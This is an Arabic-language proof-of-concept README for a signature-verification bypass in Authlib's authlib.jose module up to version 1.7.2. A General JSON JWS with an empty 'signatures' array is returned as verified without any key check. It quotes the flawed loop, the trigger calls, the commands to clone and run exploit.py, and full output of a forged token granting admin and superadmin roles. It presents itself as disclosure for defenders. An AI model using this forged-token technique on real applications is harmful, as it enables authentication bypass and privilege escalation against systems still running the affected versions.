
Authlib 1.7.2: تجاوز التحقق من التوقيع - JWS بصيغة JSON العامة يقبل حمولة غير موقّعة عندما تكون `signatures` فارغة
إثبات مفهوم (Proof-of-concept) لتجاوز التحقق من التوقيع في وحدة authlib.jose الخاصة بـ Authlib. تقبل الدالة JsonWebSignature.deserialize_json() كائن JWS بصيغة JSON العام (General JSON JWS) يحتوي على مصفوفة signatures فارغة، وتُعيد الحمولة (payload) التي يتحكم بها المهاجم على أنها تم التحقق منها بنجاح - دون الحاجة إلى مفتاح، ودون التحقق من أي توقيع.
المتأثر: Authlib ≤ 1.7.2، وحدة authlib.jose
غير المتأثر: مسار JWT المضغوط (jwt.decode()). هذا الخلل خاص بواجهة برمجة JWS ذات التسلسل JSON (JSON Serialization JWS API).
CWE: CWE-347 (التحقق غير السليم من التوقيع التشفيري)، CWE-670، CWE-358
الحالة: دون إصلاح في 1.7.x - تمت إزالة وحدة authlib.jose بالكامل في Authlib 1.8، ولم يتم إصلاحها. أي نشر مثبّت على إصدار أقل من 1.8 يبقى معرّضًا للخطر.
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
يُهيَّأ is_valid على True ولا يُقلَب أبدًا إلا داخل جسم الحلقة. عندما تكون signatures هي []، تُنفَّذ الحلقة صفر مرة، ولا تُنفَّذ أي منطق تحقّق، وتُعيد الدالة النجاح - وهو خلل كلاسيكي من نوع الحقيقة الفارغة. تتأثر كلتا نقطتي الدخول العامتين:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
أي تطبيق يتحقق من مدخلات JSON JWS التي يتحكم فيها المهاجم عبر deserialize_json() أو deserialize() يفقد ضمانات الأصالة/السلامة على هذا الإدخال:
sub وrole ومطالبات الجلسةscope وtenant وpermissionsgit clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
تُعزل الحالات الثلاث الخلل بدقة: التوقيع الحقيقي مع المفتاح الخاطئ يُرفض بشكل صحيح، والتوقيع الحقيقي مع المفتاح الصحيح يُقبل بشكل صحيح، وقائمة توقيعات فارغة - والتي ينبغي أن تكون الحالة الأكثر رفضًا على الإطلاق - تُقبل بصمت.
authlib.jose (لم يُصدر إصلاح): 30 يوليوauthlib.jose في Authlib 1.8 (لم يُنقل كإصلاح)اكتُشف وأُبلغ عنه من قبل uziii2208 وnguyenminhtuan28.
يُنشر هذا PoC لأغراض تعليمية ودفاعية - لمساعدة المشرفين وفرق الأمن والمستخدمين النهائيين على فهم المشكلة ومعالجتها. لا تستخدمه ضد أنظمة لا تملكها أو لا تملك تفويضًا صريحًا لاختبارها.